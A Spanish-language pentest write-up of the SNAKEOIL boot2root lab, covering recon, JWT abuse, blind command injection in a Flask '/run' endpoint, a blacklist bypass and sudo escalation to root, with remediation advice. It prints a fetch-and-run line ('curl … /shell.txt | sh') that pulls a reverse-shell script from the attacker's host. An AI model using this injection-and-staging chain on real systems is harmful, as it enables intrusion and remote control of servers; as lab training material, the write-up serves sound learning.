Reporte Técnico de Pentesting: Boot2Root SNAKEOIL (PR01)

Introducción Contextual

Los reportes técnicos de Pentesting son el entregable más crítico de una auditoría de seguridad. No basta con encontrar vulnerabilidades ("pwnear" la máquina); el verdadero valor reside en documentar meticulosamente cómo se encontraron, cómo se explotaron y, lo más importante, cómo se pueden mitigar. Este reporte documenta un ejercicio de "Boot2Root" contra la máquina SNAKEOIL, simulando un ataque real desde el reconocimiento inicial hasta la escalada de privilegios total.

1. Resumen Ejecutivo y Entorno de Laboratorio

El presente documento detalla la auditoría de seguridad realizada sobre el entorno vulnerable "SNAKEOIL". La evaluación cubrió las fases de reconocimiento, análisis de vulnerabilidades, explotación y escalada de privilegios, culminando con el compromiso total de la infraestructura subyacente.

Consideraciones de Infraestructura

Las pruebas se realizaron desde una máquina atacante Kali Linux bajo una arquitectura Apple Silicon (ARM). Para emular correctamente el objetivo (diseñado para arquitectura x86_64) en un entorno aislado, se configuró el hipervisor QEMU mediante UTM. Se forzó el arranque por BIOS Legacy y se deshabilitó la aceleración OpenGL por hardware para prevenir kernel panics y errores de renderizado en la terminal tty de la máquina víctima.

2. Fase de Reconocimiento (Footprinting & Enumeration)

2.1 Descubrimiento de Host

Se procedió a mapear la red local aislada mediante el protocolo ARP para identificar la asignación IP de la máquina objetivo.

• Comando: sudo arp-scan -l
• Resultado: Se identificó el host objetivo en la dirección IP 192.168.64.3.

2.2 Escaneo de Puertos y Servicios

Se ejecutó un escaneo de puertos TCP utilizando Nmap con scripts de enumeración y detección de versiones.

• Comando: sudo nmap -p- -sS -sV -sC -A -T4 192.168.64.3
• Resultados (Puertos Abiertos):
  • 22/tcp: OpenSSH 7.9p1 Debian.
  • 80/tcp: Servidor web Nginx 1.14.2 (Fachada estática).
  • 8080/tcp: Servidor web Python/Flask (Aplicación "Good Tech Inc").

2.3 Enumeración de Directorios

Se analizó el servicio web en el puerto 8080 mediante Fuzzing de directorios.

• Comando: gobuster dir -u http://192.168.64.3:8080 -w /usr/share/wordlists/dirb/common.txt
• Hallazgos Críticos:
  • /login (Status: 405 Method Not Allowed)
  • /registration (Status: 200 OK)
  • /run (Status: 405 Method Not Allowed)
  • /secret (Status: 500 Internal Server Error)

Observación: Los códigos HTTP anómalos (405 y 500) indicaron la presencia de una API REST con restricciones de métodos y posibles problemas de manejo de excepciones en el backend.

3. Análisis de Vulnerabilidades en la API

3.1 Identificación de Métodos y Autenticación

Al enviar una petición HTTP OPTIONS al endpoint /login, la cabecera de respuesta Allow: POST, OPTIONS confirmó que la API interactuaba mediante el método POST.

Al interactuar con /registration enviando un payload en formato JSON ({"username":"astronaut", "password":"password123"}), el servidor procesó la solicitud sin validación de identidad y retornó un JSON Web Token (JWT) válido, otorgando acceso a los endpoints protegidos.

3.2 Improper Error Handling y Fuga de Información

Se intentó consumir el endpoint /secret enviando el JWT obtenido a través de la cabecera estándar Authorization: Bearer.

Falla detectada: El servidor respondió con un 500 Internal Server Error.

Solución y Análisis: Se determinó que el backend carecía de validaciones (Try/Catch) para la ausencia de cookies de sesión. Al adaptar la petición y enviar el token simulando ser una Cookie (--cookie "access_token_cookie=$TOKEN"), la aplicación se estabilizó y reveló la llave de autorización interna:

Secret Key descubierta: "commandexecutionissecret"

Adicionalmente, al interactuar con el endpoint /run inyectando un payload JSON malformado, la aplicación filtró en el canal de salida estándar de errores (stderr) las estadísticas de la herramienta nativa curl. Esto confirmó una vulnerabilidad subyacente de OS Command Injection.

4. Fase de Explotación (Compromiso Inicial)

4.1 Inyección Ciega de Comandos (Blind RCE)

Se inyectó un comando concatenado en el endpoint /run (127.0.0.1; ls -la).

Falla detectada: El servidor no reflejó la salida del comando en la respuesta HTTP, indicando una Inyección Ciega (Blind RCE) que suprimía la Salida Estándar (stdout).

Solución: Se implementó una técnica de Out-Of-Band (OOB) buscando ejecutar una Reverse Shell hacia la máquina atacante.

4.2 Evasión de Defensas (WAF/Blacklisting)

Al enviar el payload de Reverse Shell clásico (nc, mkfifo, rm), el servidor bloqueó la petición con el mensaje HTTP 400: "Banned command!".

Solución y Explotación (Staging): Se determinó la presencia de un filtro basado en listas negras. Para evadirlo, se aplicó una Infección por Fases (Staging):

1. Se alojó el código malicioso (shell.txt) en un servidor HTTP temporal (Python) en la máquina del atacante.
2. Se inyectó un comando inofensivo que no activó la lista negra: curl -s http://192.168.64.2/shell.txt | sh.
3. El servidor descargó y ejecutó el script en memoria, estableciendo una Reverse Shell exitosa en el oyente de Netcat (puerto 4444).

5. Post-Explotación: Análisis de Código (White-Box)

Una vez obtenido el acceso inicial como el usuario patrick, se procedió a auditar el código fuente del backend (app.py).

Hallazgos en el Código Fuente:

1. Ejecución Insegura (Zero-Day): Se localizó la vulnerabilidad raíz de la inyección en la línea proc = Popen(..., shell=True). El parámetro shell=True delega la evaluación de la entrada directamente al intérprete del sistema operativo, permitiendo la concatenación.
2. Defensa Ineficaz: Se visualizó la lógica del WAF como una serie de sentencias if bloqueando cadenas de texto literales (ej. if "nc" in req_json), demostrando la ineficacia del Blacklisting.
3. Reutilización de Contraseñas (Password Reuse): Se extrajo una frase criptográfica de 35 caracteres expuesta en texto plano (Hardcoding): app.config['JWT_SECRET_KEY'] = 'NOreasonableDOUBTthisPASSWORDisGOOD'.

6. Escalada de Privilegios y Captura (Pwned)

6.1 Acceso Persistente (SSH)

La Reverse Shell obtenida era inestable. Evaluando la reutilización de credenciales, se utilizó la llave JWT_SECRET_KEY robada del código fuente para autenticarse exitosamente a través de SSH en el puerto 22, logrando un acceso interactivo y persistente como el usuario patrick.

6.2 Escalada a Root (PrivEsc)

Se ejecutó el comando sudo -l para auditar los privilegios de ejecución del usuario local.

Vulnerabilidad Crítica Encontrada: El archivo sudoers estaba mal configurado, otorgando al usuario la directiva (ALL : ALL) ALL. Esto viola el Principio de Menor Privilegio (PoLP), permitiendo ejecutar cualquier binario del sistema como superusuario.

Ejecución:

Se ejecutó sudo su, validando la acción con la contraseña comprometida. El sistema otorgó acceso de superusuario (root). Finalmente, se enumeró el directorio del administrador y se dio lectura al archivo proof.txt, comprobando el compromiso total de la máquina.

7. Conclusiones y Remediación

La caída del servidor SNAKEOIL demuestra el riesgo de encadenar malas prácticas de desarrollo (CWE-78, CWE-256) con configuraciones negligentes en la administración de sistemas.

Para mitigar estas vulnerabilidades en un entorno de producción, se requiere implementar los siguientes controles de seguridad:

1. Eliminar Ejecución Insegura: Sustituir la directiva shell=True en la librería subprocess de Python. Los comandos deben pasarse como listas de argumentos estrictos para anular la evaluación de meta-caracteres de consola.
2. Sanitización de Entrada: Reemplazar los filtros de listas negras (Blacklisting) por validaciones estrictas de listas blancas (Whitelisting), procesando únicamente patrones de caracteres esperados (ej. direcciones IP o URLs válidas).
3. Gestión de Secretos: Erradicar la práctica de Hardcoding. Las llaves secretas y credenciales de bases de datos deben inyectarse mediante variables de entorno u orquestadores de secretos seguros (Vaults).
4. Política de Privilegios Locales: Reestructurar el archivo sudoers. Se debe revocar inmediatamente el permiso global ALL al usuario patrick, limitándolo exclusivamente a los comandos requeridos para sus funciones administrativas.

Evidencia en Video

A continuación se presenta un video demostrativo del proceso de explotación realizado:

Reflexión y Casos de Uso

Reflexión Profesional

Este ejercicio refuerza que la seguridad es una cadena tan fuerte como su eslabón más débil. A pesar de tener un firewall básico (WAF), la aplicación falló por errores fundamentales de programación (inyección de comandos) y configuración de sistemas (sudoers permisivo). Como profesionales ofensivos, nuestra responsabilidad ética es no solo demostrar el impacto (el "shell"), sino traducir ese riesgo técnico en un lenguaje de negocio que impulse la remediación inmediata.

Aplicaciones del Reporte